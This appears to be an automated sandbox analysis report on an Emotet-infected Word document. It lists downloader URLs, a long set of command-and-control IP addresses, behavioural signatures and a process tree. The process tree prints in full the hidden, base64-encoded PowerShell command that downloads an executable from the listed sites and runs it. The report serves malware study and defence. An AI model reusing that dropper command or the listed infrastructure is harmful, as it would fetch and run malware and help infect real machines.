Analysis
-
max time kernel
29s -
resource
win10v191014 -
submitted
13-01-2020 17:59
General
Malware Config
Extracted
https://www.entreprendre-en-alsace.com/cust_service/Hp/
https://www.ambiance-piscines.fr/wp-admin/tQQvQCL/
https://www.akarosi.com/0868e784ba5af656b959f6ec5e4e9428/a1a/
https://thecurrenthotel.com/wp-content/zel617r/
https://wholesaleusedbooks.co.uk/jetpack-temp/Xl1SeJPW/
Extracted
emotet
70.175.171.251:80
177.239.160.121:80
89.211.186.227:443
91.250.96.22:8080
37.187.72.193:8080
104.131.44.150:8080
167.71.10.37:8080
181.143.126.170:80
190.53.135.159:21
200.116.145.225:443
139.130.242.43:80
37.139.21.175:8080
103.86.49.11:8080
45.51.40.140:80
221.165.123.72:80
31.172.240.91:8080
78.189.180.107:80
178.153.176.124:80
182.176.132.213:8090
201.184.105.242:443
190.55.181.54:443
46.105.131.69:443
62.138.26.28:8080
190.189.224.117:443
27.109.153.201:8090
190.117.226.104:80
190.12.119.180:443
185.144.138.190:80
59.103.164.174:80
217.160.182.191:8080
180.92.239.110:8080
209.146.22.34:443
110.36.217.66:8080
149.202.153.252:8080
50.116.86.205:8080
181.126.70.117:80
73.11.153.178:8080
87.230.19.21:8080
120.150.246.241:80
95.128.43.213:8080
178.237.139.83:8080
200.21.90.5:443
78.24.219.147:8080
105.247.123.133:8080
223.197.185.60:80
79.159.249.152:80
47.156.70.145:80
78.186.5.109:443
195.244.215.206:80
5.32.55.214:80
201.229.45.222:8080
139.130.241.252:443
104.131.11.150:8080
209.141.54.221:8080
206.81.10.215:8080
64.53.242.181:8080
121.88.5.176:443
87.106.136.232:8080
70.169.53.234:80
173.91.11.142:80
24.164.79.147:8080
190.220.19.82:443
45.33.49.124:443
190.117.126.169:80
59.8.197.241:80
66.34.201.20:7080
201.173.217.124:443
85.67.10.190:80
93.147.141.5:80
2.237.76.249:80
98.174.166.205:80
91.205.215.66:443
192.241.255.77:8080
211.63.71.72:8080
104.236.246.93:8080
47.180.91.213:80
179.13.185.19:80
47.6.15.79:80
92.222.216.44:8080
24.105.202.216:443
41.60.200.34:80
120.151.135.224:80
110.143.84.202:80
95.213.236.64:8080
110.142.38.16:80
73.217.39.73:80
98.156.206.153:80
183.102.238.69:465
46.105.131.87:80
108.191.2.72:80
173.21.26.90:80
160.16.215.66:8080
37.157.194.134:443
62.75.187.192:8080
105.27.155.182:80
189.203.177.41:443
47.153.183.211:80
209.97.168.52:8080
70.46.247.81:80
58.171.42.66:8080
186.86.247.171:443
205.185.117.108:8080
31.31.77.83:443
176.106.183.253:8080
98.30.113.161:80
5.196.74.210:8080
62.75.141.82:80
169.239.182.217:8080
60.231.217.199:8080
210.6.85.121:80
47.6.15.79:443
24.94.237.248:80
87.106.139.101:8080
116.48.142.21:443
5.154.58.24:80
159.65.25.128:8080
188.0.135.237:80
206.189.112.148:8080
190.146.205.227:8080
108.179.206.219:8080
173.66.96.135:80
91.73.197.90:80
88.249.120.205:80
Signatures
-
Process spawned unexpected child process 1 IoCs
description pid pid_target Process procid_target Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 4332 5072 powershell.exe 74 -
Suspicious behavior: EnumeratesProcesses 1 IoCs
pid Process 4332 powershell.exe -
Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE -
Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE -
Drops file in System32 directory 1 IoCs
description ioc Process File renamed C:\Users\Admin\265.exe => C:\Windows\SysWOW64\funcprints.exe 265.exe -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
pid Process 4804 WINWORD.EXE -
Suspicious use of SetWindowsHookEx 5 IoCs
pid Process 4804 WINWORD.EXE 4456 265.exe 4588 265.exe 3772 funcprints.exe 3880 funcprints.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 4332 powershell.exe -
Suspicious use of WriteProcessMemory 3 IoCs
description pid Process procid_target PID 4332 wrote to memory of 4456 4332 powershell.exe 80 PID 4456 wrote to memory of 4588 4456 265.exe 81 PID 3772 wrote to memory of 3880 3772 funcprints.exe 83 -
Executes dropped EXE 4 IoCs
pid Process 4456 265.exe 4588 265.exe 3772 funcprints.exe 3880 funcprints.exe -
Suspicious behavior: EmotetMutantsSpam 2 IoCs
pid Process 4588 265.exe 3880 funcprints.exe
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\f631bc4ffac36ef164f57e6fb8a8f2900f2302dad4d0835595e54f4848862df8.doc" /o ""1⤵
- Enumerates system info in registry
- Checks processor information in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:4804
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -w hidden -en JABHAHUAawB6AG4AaABkAGMAPQAnAE8AZQBmAGwAcABjAGUAZgAnADsAJABWAHAAegBpAHkAZwBlAGcAdwB0AGEAZQBhACAAPQAgACcAMgA2ADUAJwA7ACQAUQBxAGEAcABtAHoAawB5AGMAcgBiAGsAPQAnAFMAagBkAHoAcQBzAG0AYQAnADsAJABWAGIAYQBhAGgAbQB1AGQAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAFYAcAB6AGkAeQBnAGUAZwB3AHQAYQBlAGEAKwAnAC4AZQB4AGUAJwA7ACQAQwB5AHYAaABxAHcAegB0AGgAagA9ACcASwBrAGEAaQBzAGQAeABqAG0AJwA7ACQAUwBrAHcAdABqAHcAZQBvAGsAPQAmACgAJwBuAGUAdwAtACcAKwAnAG8AYgBqAGUAJwArACcAYwB0ACcAKQAgAE4AZQBUAC4AdwBFAEIAQwBMAGkARQBuAHQAOwAkAFYAcABlAGcAcwBjAHgAaAA9ACcAaAB0AHQAcABzADoALwAvAHcAdwB3AC4AZQBuAHQAcgBlAHAAcgBlAG4AZAByAGUALQBlAG4ALQBhAGwAcwBhAGMAZQAuAGMAbwBtAC8AYwB1AHMAdABfAHMAZQByAHYAaQBjAGUALwBIAHAALwAqAGgAdAB0AHAAcwA6AC8ALwB3AHcAdwAuAGEAbQBiAGkAYQBuAGMAZQAtAHAAaQBzAGMAaQBuAGUAcwAuAGYAcgAvAHcAcAAtAGEAZABtAGkAbgAvAHQAUQBRAHYAUQBDAEwALwAqAGgAdAB0AHAAcwA6AC8ALwB3AHcAdwAuAGEAawBhAHIAbwBzAGkALgBjAG8AbQAvADAAOAA2ADgAZQA3ADgANABiAGEANQBhAGYANgA1ADYAYgA5ADUAOQBmADYAZQBjADUAZQA0AGUAOQA0ADIAOAAvAGEAMQBhAC8AKgBoAHQAdABwAHMAOgAvAC8AdABoAGUAYwB1AHIAcgBlAG4AdABoAG8AdABlAGwALgBjAG8AbQAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwB6AGUAbAA2ADEANwByAC8AKgBoAHQAdABwAHMAOgAvAC8AdwBoAG8AbABlAHMAYQBsAGUAdQBzAGUAZABiAG8AbwBrAHMALgBjAG8ALgB1AGsALwBqAGUAdABwAGEAYwBrAC0AdABlAG0AcAAvAFgAbAAxAFMAZQBKAFAAVwAvACcALgAiAHMAcABgAGwAaQBUACIAKAAnACoAJwApADsAJABLAHgAdABhAGYAcQBwAGYAcQA9ACcATgBvAGQAZABpAGYAcwBpAGQAcABsACcAOwBmAG8AcgBlAGEAYwBoACgAJABEAGkAcQB5AHkAdwBxAGcAZwAgAGkAbgAgACQAVgBwAGUAZwBzAGMAeABoACkAewB0AHIAeQB7ACQAUwBrAHcAdABqAHcAZQBvAGsALgAiAGQAYABvAHcAbgBsAG8AQQBgAEQARgBJAGAAbABFACIAKAAkAEQAaQBxAHkAeQB3AHEAZwBnACwAIAAkAFYAYgBhAGEAaABtAHUAZAApADsAJABUAHkAaQB6AGoAYwB5AHgAaQByAGwAagB4AD0AJwBDAHMAZAB5AHYAdQB3AG0AZQBwAHYAcgAnADsASQBmACAAKAAoAC4AKAAnAEcAZQB0AC0ASQAnACsAJwB0AGUAJwArACcAbQAnACkAIAAkAFYAYgBhAGEAaABtAHUAZAApAC4AIgBMAEUATgBgAEcAVABIACIAIAAtAGcAZQAgADMAMwAyADQAMgApACAAewBbAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAXQA6ADoAIgBTAFQAYABBAFIAVAAiACgAJABWAGIAYQBhAGgAbQB1AGQAKQA7ACQAUgB5AGoAdABnAGgAaQBwAHcAbwBrAD0AJwBYAHMAdABsAGoAeQBmAGsAbQAnADsAYgByAGUAYQBrADsAJABFAHcAbQBlAGoAbgBrAGgAcwBzAHoAbgA9ACcATwBsAHUAYwBnAGoAbABiACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEwAdgBrAGgAcwB6AGcAZQBrAHIAcAA9ACcARQBmAGkAZQBjAGEAbAB4AGUAdQBoAHYAJwA=1⤵
- Process spawned unexpected child process
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4332 -
C:\Users\Admin\265.exe"C:\Users\Admin\265.exe"2⤵
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
- Executes dropped EXE
PID:4456 -
C:\Users\Admin\265.exe--9d644f0f3⤵
- Drops file in System32 directory
- Suspicious use of SetWindowsHookEx
- Executes dropped EXE
- Suspicious behavior: EmotetMutantsSpam
PID:4588
-
-
-
C:\Windows\SysWOW64\funcprints.exe"C:\Windows\SysWOW64\funcprints.exe"1⤵
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
- Executes dropped EXE
PID:3772 -
C:\Windows\SysWOW64\funcprints.exe--3b6a475c2⤵
- Suspicious use of SetWindowsHookEx
- Executes dropped EXE
- Suspicious behavior: EmotetMutantsSpam
PID:3880
-